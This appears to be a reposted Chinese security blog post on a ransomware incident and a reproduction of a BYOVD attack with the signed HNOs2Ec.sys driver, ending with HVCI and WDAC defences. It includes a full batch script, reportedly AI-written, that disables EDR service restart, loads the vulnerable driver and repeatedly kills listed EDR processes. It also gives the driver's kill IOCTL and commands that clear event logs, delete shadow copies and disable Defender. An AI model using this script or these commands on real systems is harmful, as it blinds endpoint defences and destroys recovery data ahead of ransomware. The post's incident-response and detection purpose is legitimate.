文章总结: 本文分析BYOVD(自带漏洞驱动)攻击技术,通过真实勒索应急案例展示攻击链六阶段:初始入侵、提权持久化、侦察EDR、利用签名漏洞驱动加载至内核并发送IOCTL终止EDR进程、擦除痕迹关闭防御、横向移动加密。复现使用HNOs2Ec.sys驱动绕过EDR进程守护,通过修改SCM服务FailureActions禁用自动重启实现持久化。建议加强EDR对驱动加载监控、SCM服务异常检测及卷影备份保护。
综合评分: 78
文章分类: 应急响应,恶意软件,红队,内网渗透,漏洞分析
应急实战之BYOVD技术初探
原创
白昼信安
白昼信安
白昼信安
2026年9月23日 15:00
甘肃
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
最近半夜接到一起客户勒索应急:他们的 Windows 服务器上,EDR 进程突然消失了,紧接着卷影备份被清空,数小时后整个文件服务器被勒索软件加密。
查日志发现:
攻击者通过客户的web漏洞入侵,并上传byovd驱动与EDR对抗(由于服务器web日志被加密,无法溯源具体漏洞入口点,当然,这也不是今天重点)
攻击者用这个有漏洞的驱动,发了一条 IOCTL,把 EDR 进程直接从内核里干掉了。
这也就是 BYOVD(Bring Your Own Vulnerable Driver)——当下勒索软件团伙的最爱。
一、BYOVD介绍
BYOVD(Bring Your Own Vulnerable Driver,自带漏洞驱动)是一种利用带有合法数字签名但存在漏洞的驱动,来获取内核模式(Ring-0)的执行权限的后渗透攻击策略。实际上BYOVD 严格说不是新东西。内核驱动一直是 Windows 安全模型的阿喀琉斯之踵,但大规模把它武器化是 2016 年以后的事。
经典 BYOVD 攻击链(6 阶段)
阶段 1:初始入侵
攻击者拿到第一台机器的 shell。常见入口:
- 钓鱼邮件:附件是带宏的 Word/Excel,LNK 快捷方式伪装成 PDF
- Web 漏洞:Exchange、Confluence、VPN 等公网组件的 Nday
- 暴露的 RDP:弱口令或购买的初始访问代理(IAB)
落地的通常是一个 loader / implant(Cobalt Strike beacon、Brute Ratel、Sliver 等)。
阶段 2:提权 + 持久化
- 用各种 UAC 绕过拿到 SYSTEM 权限
- 持久化:注册表 Run 键、计划任务、WMI Event Subscription、服务自启动
关键点:BYOVD 的所有操作都需要 SYSTEM 权限(SE_LOAD_DRIVER_PRIVILEGE 只有 SYSTEM 才有)。所以提权是必做的前置步骤。
阶段 3:侦察 EDR 牌面
杀掉 EDR 前要先识别 EDR:拿到 EDR 进程名和 PID 后,去 LOLDrivers 数据库里挑一个对应的杀进程 PoC。
阶段 4:BYOVD 杀 EDR
这是 BYOVD 攻击的核心动作,分三步:
落盘驱动
攻击者使用Windows SCM(Service Control Manager,服务控制管理器)或调用NtLoadDriverAPI将漏洞驱动注册为内核服务并加载。Windows会验证其数字签名是否有效,并追溯到微软信任的根证书。但是签名验证流程是存在缺陷的,只有这些才被视为有效签名:
2015.07.29之前的旧证书:自Windows 10起,微软要求所有新的内核驱动都必须通过HDC(Hardware Dev Center,硬件开发中心)进行签名,而在此之前,开发者可以绕过微软使用第三方交叉证书自行签名。为了兼容,Windows将允许这些交叉签名的驱动加载,只要该交叉签名可追溯到可信CA。
已吊销的证书:由于驱动程序在系统启动过程早期加载,此时网络不可用,因此系统不会执行CRL(Certificate Revocation Lists,证书吊销列表)检查,只要签名时间戳(而非当前时间戳)位于证书有效期即可。
注册内核服务
驱动被加载进 Ring 0,创建设备对象 \\.\TfSysMon。
发 IOCTL 杀进程
大部分 AV/EDR 厂商默认不监控 SCM 注册内核驱动这个动作
至此 EDR 进程被内核的 ZwTerminateProcess 干掉了。
阶段 5:擦痕迹 + 关防御
EDR 死后还有几件事要做:
- 杀 EDR 服务(防止被守护进程拉起)
- 改注册表禁用 Defender:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = 1 - 清事件日志:
wevtutil cl Security - 关 ETW 追踪(内核级 PatchEtwEventRegister)
- 删卷影备份:
vssadmin delete shadows /all /quiet - 关 Sysmon:停服务、清日志
阶段 6:横向 + 加密
- 用 PsExec / WMI / SMB 批量推到内网其他机器
- 在每台机器上重复 BYOVD 步骤(不同机器可能是不同 EDR)
- 最后上勒索软件(LockBit、BlackCat、RansomHub 等家族)批量加密
最后勒索信 + 暗网泄露数据双重施压。
二、BYOVD技术分析
本次采用BlackSnufkin/BYOVD中的漏洞驱动HNOs2Ec作为案例,复现BYOVD攻击,并分析其技术原理。
复现过程
先编译用到的载荷
cargo build --release -p HNOs2Ec-Killer
可以看到HNOs2Ec.sys驱动的数字签名证书是在有效期范围内的,所以仍会被微软认定为有效签名。
先将载荷送上目标机器
之后通过管理员权限启动cmd窗口,尝试直接杀进程,看下是否可行,可以看到结果显示失败:
尝试用载荷直接杀edr,但是通过后续发现edr一直没掉,之后看到xx服的edr不止一个进程,后续通过 reg query 翻注册表发现根因:4 个 xx服服务的 FailureActions 字段都设了 restart/5000/...,意思是”服务意外退出 → SCM5 秒后自动拉起”
SCM是什么?
SCM = Service Control Manager,Windows 系统服务管理子系统,本体是 services.exe
SCM 的三个核心职责
- 服务注册表:
HKLM\SYSTEM\CurrentControlSet\Services\下每个子键描述一个服务的 ImagePath / StartType / DependOnService / FailureActions - 进程生命周期管理:StartService / StopService / ControlService,对应启动 / 停止 / 控制码
- 故障恢复:服务异常退出时,按
FailureActions决策 → run外部命令 / restart 服务 / reboot 机器
于是我让AI写了个脚本,把 4 个服务的 SCM 重启行为置为 no-op
@echo offsetlocal EnableDelayedExpansion
:: ============================================================:: EDR BYOVD Kill Chain + Persistent Suppression:: Method : HNOs2Ec.sys vulnerable driver - Honor, signed:: PoC : C:\Program Files\HONOR\PCManager\PCManager.exe:: Usage : Right-click -> Run as administrator:: Stop : Press Ctrl+C in the cmd window:: ============================================================
set "PC_DIR=C:\Program Files\HONOR\PCManager"set "PC_EXE=PCManager.exe"set "SYS_FILE=HNOs2Ec.sys"set "SVC_NAME=HNOs2Ec"
:: --- Admin check ---net session >nul 2>&1if %errorlevel% neq 0 ( echo [X] Must run as administrator. Right-click - Run as administrator. pause exit /b 1)
clsecho ============================================================echo EDR BYOVD Kill Chain + Persistent Suppressionecho %DATE% %TIME%echo ============================================================echo.
:: --- Step 1: Verify ---echo [STEP 1] Verify files ...if not exist "%PC_DIR%\%PC_EXE%" ( echo [X] Missing %PC_DIR%\%PC_EXE% echo Copy PCManager.exe and HNOs2Ec.sys into: %PC_DIR% pause exit /b 1)if not exist "%PC_DIR%\%SYS_FILE%" ( echo [X] Missing %PC_DIR%\%SYS_FILE% pause exit /b 1)echo [OK] PCManager.exe -- %PC_DIR%\%PC_EXE%echo [OK] HNOs2Ec.sys -- %PC_DIR%\%SYS_FILE%echo.
:: --- Step 2: Disable SCM auto-restart ---echo [STEP 2] Disable SCM auto-restart ...for %%S in (abs_deployer edr_monitor savsvc eaio_service) do ( sc failure %%S actions= none reset= 0 >nul 2>&1 if !errorlevel! equ 0 (echo [OK] sc failure %%S) else (echo [! ] sc failure %%S skipped))echo.
:: --- Step 2.5: Change to demand start ---echo [STEP 2.5] Change services to demand start ...for %%S in (abs_deployer edr_monitor savsvc eaio_service) do ( sc config %%S start= demand >nul 2>&1 if !errorlevel! equ 0 (echo [OK] sc config %%S start= demand) else (echo [! ] sc config %%S skipped))echo.
:: --- Step 3: Kill supervisors ---echo [STEP 3] Kill supervisors - abs_deployer + edr_monitor ...pushd "%PC_DIR%"call :run_killer abs_deployer.exetimeout /t 2 /nobreak >nulcall :run_killer edr_monitor.exetimeout /t 3 /nobreak >nulpopdecho.
:: --- Step 4: Kill remaining user-mode processes ---echo [STEP 4] Kill remaining user-mode processes ...pushd "%PC_DIR%"for %%P in (avsvc.exe edr_agent.exe aagent.exe ipc_proxy.exe x_agent.exe ^ io_wtmkproc.exe io_agent.exe io_service.exe ^ avtray.exe avui.exe updatemgr.exe) do ( call :run_killer %%P timeout /t 2 /nobreak >nul)popdecho.
:: --- Step 5: Verify ---echo [STEP 5] Verify user-mode processes are gone ...echo.set "ALL_DEAD=1"for %%P in (abs_deployer edr_monitor avsvc edr_agent aagent ^ ipc_proxy xs_agent io_wtmkproc io_agent io_service ^ avtray sfavui updatemgr) do ( tasklist /FI "IMAGENAME eq %%P.exe" 2>nul | findstr /i %%P >nul if !errorlevel! equ 0 ( echo [X] %%P.exe STILL ALIVE set "ALL_DEAD=0" ) else ( echo [OK] %%P.exe gone ))echo.
:: --- Step 5.5: Second pass for respawners ---echo [STEP 5.5] Second pass - kill stubborn respawners ...pushd "%PC_DIR%"set "ROUNDS=0":respawn_loopset /a ROUNDS+=1echo Round !ROUNDS! ...set "FOUND=0"for %%P in (abs_deployer.exe avsvc.exe) do ( tasklist /FI "IMAGENAME eq %%P" 2>nul | findstr /i %%P >nul if !errorlevel! equ 0 ( set "FOUND=1" echo Re-killing %%P ... call :run_killer %%P timeout /t 3 /nobreak >nul ))if !FOUND! equ 1 ( if !ROUNDS! lss 5 goto :respawn_loop)popdecho.
:: --- Step 6: Final verify ---echo [STEP 6] Final verify ...echo.set "ALL_DEAD=1"for %%P in (abs_deployer edr_monitor avsvc edr_agent aagent ^ ipc_proxy x_agent io_wtmkproc io_agent io_service ^ avtray sfavui updatemgr) do ( tasklist /FI "IMAGENAME eq %%P.exe" 2>nul | findstr /i %%P >nul if !errorlevel! equ 0 ( echo [X] %%P.exe STILL ALIVE set "ALL_DEAD=0" ) else ( echo [OK] %%P.exe gone ))echo.
:: --- Step 7: Kernel drivers info ---echo [INFO] Kernel drivers still loaded - user-mode BYOVD ceiling:echo - avflt.sys file-system minifilterecho - ENetMon64.sys network monitorecho - IO 4 drivers file_filter / function_driver / load_driver / network_driverecho Unload attempt fails with 0x801f0010 - self-protection.echo.
echo ============================================================if "%ALL_DEAD%"=="1" ( echo [SUCCESS] All user-mode processes are down) else ( echo [PARTIAL] Some processes survived. Entering persistent mode anyway.)echo ============================================================echo.echo ============================================================echo PERSISTENT SUPPRESSION MODEecho Sfavflt.sys will respawn user-mode processes every fewecho seconds. This loop kills them the moment they appear.echo Press Ctrl+C to stop.echo ============================================================echo.
:: --- Step 8: Persistent kill loop ---set "ROUND=0":KEEPKILLset /a ROUND+=1pushd "%PC_DIR%"for %%P in (abs_deployer.exe edr_monitor.exe sfavsvc.exe ^ edr_agent.exe sfaagent.exe ipc_proxy.exe xs_agent.exe ^ eaio_service.exe eaio_wtmkproc.exe eaio_agent.exe ^ sfavtray.exe sfavui.exe sfupdatemgr.exe) do ( tasklist /FI "IMAGENAME eq %%P" 2>nul | findstr /i %%P >nul if !errorlevel! equ 0 ( echo [!] Round !ROUND! - killing %%P ... call :run_killer %%P ))popdtimeout /t 5 /nobreak >nulgoto :KEEPKILL
:: ============================================================:: Function: run_killer:: Re-registers HNOs2Ec with absolute path, runs PCManager.exe:: in background, force-kills it after 8 seconds.:: ============================================================:run_killersc stop %SVC_NAME% >nul 2>&1timeout /t 2 /nobreak >nulsc delete %SVC_NAME% >nul 2>&1timeout /t 2 /nobreak >nul
sc create %SVC_NAME% binPath= "%PC_DIR%\%SYS_FILE%" type= kernel start= demandif !errorlevel! neq 0 ( echo [X] sc create HNOs2Ec FAILED for %~1 exit /b 1)
start /b "" "%PC_EXE%" -n %~1timeout /t 8 /nobreak >nultaskkill /F /IM "%PC_EXE%" >nul 2>&1timeout /t 2 /nobreak >nul
exit /b 0
此时进程已经被成功杀掉,edr已经没了
驱动文件逆向分析
对HNOs2Ec.sys进行逆向,从DriverEntry入口进入
sub_14000A0D4() 是 MSVC 编译器自动插入的 GS Cookie 初始化
跟进sub_14000A000
可以看到a1 是 DriverObject 指针
并且看到四个回调函数被注册了
看一下微软对DRIVER_OBJECT结构体的定义
typedef struct _DRIVER_OBJECT { CSHORT Type; // 驱动类型 CSHORT Size; // 驱动大小 PDEVICE_OBJECT DeviceObject; // 驱动对象 ULONG Flags; // 驱动的标志 PVOID DriverStart; // 驱动的起始位置 ULONG DriverSize; // 驱动的大小 PVOID DriverSection; // 指向驱动程序映像的内存区对象 PDRIVER_EXTENSION DriverExtension; // 驱动的扩展空间 UNICODE_STRING DriverName; // 驱动名字 PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; // 驱动对象的卸载地址 PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];} DRIVER_OBJECT;
IRP_MJ_DEVICE_CONTROL 唯一的作用就是分发 IOCTL 控制码
计算偏移如下
Windows 内核的 DRIVER_OBJECT 结构关键偏移:
| 偏移 | 字段 | 看到的赋值 |
| — | — | — |
| +0x68 | DriverUnload | a1[13] = &sub_1400072E8 |
| +0x70 | MajorFunction[0] = IRP_MJ_CREATE | a1[14] = &sub_140007134 |
| +0x80 | MajorFunction[2] = IRP_MJ_CLOSE | a1[16] = &sub_140007114 |
| +0xE0 | MajorFunction[14] = IRP_MJ_DEVICE_CONTROL | a1[28] = sub_14000717C |
完整函数调用树
DriverEntry (0x14000A0A8) ├─ sub_14000A0D4 [GS Cookie,编译器插的] └─ sub_14000A000 ├─ sub_140007374 [Check 1] ├─ sub_140001A2C [Check 2] ├─ sub_140007000 [子调用 1] ├─ sub_140002BEC [子调用 2] ├─ sub_14000202C [子调用 3] └─ 注册: ├─ DriverUnload = sub_1400072E8 ├─ MajorFunction[0] = sub_140007134 (CREATE) ├─ MajorFunction[2] = sub_140007114 (CLOSE) └─ MajorFunction[14] = sub_14000717C (DEVICE_CONTROL)
所以知道了sub_14000717C 是 IRP_MJ_DEVICE_CONTROL 的处理函数
然后进到sub_14000717C
反推 IOCTL 控制码
知道ioctl = 0x223E08 时调用 sub_140003154
跟进去
v4 来自 memcpy(&v4, SystemBuffer, 4)——也就是用户态传入的 4 字节值
| 如果 sub_140001D04 是别的功能 | 期望参数语义 |
| — | — |
| 写 EC 寄存器 | 需要寄存器地址 + 值(>4 字节) |
| 读 EC 寄存器 | 需要地址 + 输出 buffer |
| 烧录 BIOS | 需要固件指针 + 长度 |
| 杀进程 | 4 字节 PID 刚好 |
于是跟进去sub_140001D04
可以看到漏洞核心
- 接收一个 PID(整数)
- 转成进程 HANDLE(
sub_140001940) - 调
ZwTerminateProcess(handle, 0)杀进程
后续启动ZwOpenProcess以最大权限访问该进程,然后调用ZwTerminateProcess终止目标进程。由于该驱动加载后位于Ring 0,为系统最大权限,使得其可以达成杀死任意进程的目的。
整个流程如下:
再来看看BlackSnufkin/BYOVD中,byovd-lib/src/lib.rs 用 DriverConfig trait 把”通用攻击流程”和”驱动特定配置”解耦,让加新 BYOVD 驱动从”重写完整攻击代码”变成”实现 5 个 trait 方法”
再回看HNOs2Ec-Killer\src\main.rs,可以看到,一个 PID,被函数链处理,从用户态 DeviceIoControl 一路传到内核态 ZwTerminateProcess,绕过 EDR 用户态保护直接杀死进程
这也就是现在越来越多的APT组织、勒索软件团伙采用BYOVD攻击来绕过EDR检测,达成致盲EDR、投放恶意软件、进行勒索等目的。
三、BYOVD检测与防御
启用HVCI
启用HVCI(Hypervisor-protected Code Integrity,虚拟机监控程序保护的代码完整性):其利用Windows虚拟化强制实施内核代码完整性。即使漏洞驱动被加载进内核,也能在硬件层面阻止内核内存页被标记为“可写可执行”,导致恶意rootkit或shellcode注入内核失败,从而降低BYOVD攻击的危害。
启用WDAC
1、下载并提取 易受攻击的驱动程序阻止列表二进制文件
2、下载微软官方的可视化编辑工具WDAC Wizard
将1下载的导入p7b文件,保存的文件名填写为SiPolicy.xml
这里为策略配置,注意最下方的Audit Mode,若该选项开启,则规则生效后仅告警;若关闭,则还会在告警的基础上,直接阻断驱动加载
这里是规则界面内置了许多微软官方的规则,可在此基础上添加针对漏洞驱动的规则。
规则添加完毕后即可看到策略生成成功界面
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:白昼信安 白昼信安
白昼信安《应急实战之BYOVD技术初探》